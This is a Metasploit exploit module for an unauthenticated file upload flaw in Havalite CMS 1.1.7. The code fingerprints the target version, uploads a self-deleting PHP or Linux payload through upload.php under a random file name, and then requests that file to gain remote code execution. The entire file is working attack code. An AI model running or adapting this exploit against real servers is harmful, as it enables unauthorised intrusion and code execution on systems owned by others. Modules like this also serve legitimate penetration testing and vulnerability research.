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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::PhpEXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
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        'Description' => %q{
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          This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
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          possibly prior.  Attackers can abuse the upload feature in order to upload a
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          malicious PHP file without authentication, which results in arbitrary remote code
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          execution.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'CWH',
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          'sinn3r' # Metasploit
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        ],
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        'References' => [
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          ['OSVDB', '94405'],
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          ['EDB', '26243']
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        ],
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        'Payload' => {
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          'BadChars' => "\x00"
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        },
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        'Platform' => %w{linux php},
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        'Targets' => [
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          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2013-06-17',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
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      ]
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    )
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  end
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  #
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  # Checks if target is running HavaLite CMS 1.1.7
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  # We only flag 1.1.7 as vulnerable, because we don't have enough information from
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  # the vendor or OSVDB about exactly which ones are really vulnerable.
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  #
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  def check
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    uri = normalize_uri(target_uri.path, 'havalite/')
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    res = send_request_raw({ 'uri' => uri })
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    if not res
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      vprint_error("Connection timed out")
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      return Exploit::CheckCode::Unknown
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    end
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    js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
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    version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
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    if not version.empty? and version =~ /1\.1\.7/
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      vprint_status("Version found: #{version}")
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      return Exploit::CheckCode::Appears
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    end
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    Exploit::CheckCode::Safe
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  end
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  #
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  # Uploads our malicious file
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  #
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  def upload(base)
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    p = get_write_exec_payload(:unlink_self => true)
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    fname = "#{rand_text_alpha(5)}.php"
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    data = Rex::MIME::Message.new
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    data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
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    post_data = data.to_s
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri' => normalize_uri(base, 'havalite', 'upload.php'),
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      'ctype' => "multipart/form-data; boundary=#{data.bound}",
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      'data' => post_data
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    })
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    if not res
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      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
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    elsif res.code.to_i == 404
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      fail_with(Failure::NotFound, "#{peer} - No upload.php found")
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    elsif res.body =~ /"error"\:"abort"/
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      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
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    end
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    return fname
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  end
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  #
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  # Executes our uploaded malicious file
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  #
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  def exec(base, payload_fname)
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    res = send_request_raw({
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      'uri' => normalize_uri(base, 'havalite', 'tmp', 'files', payload_fname)
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    })
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    if res and res.code == 404
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      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
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    end
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  end
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  def exploit
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    base = target_uri.path
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    print_status("Uploading malicious file...")
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    fname = upload(base)
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    print_status("Executing #{fname}...")
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    exec(base, fname)
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  end
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end
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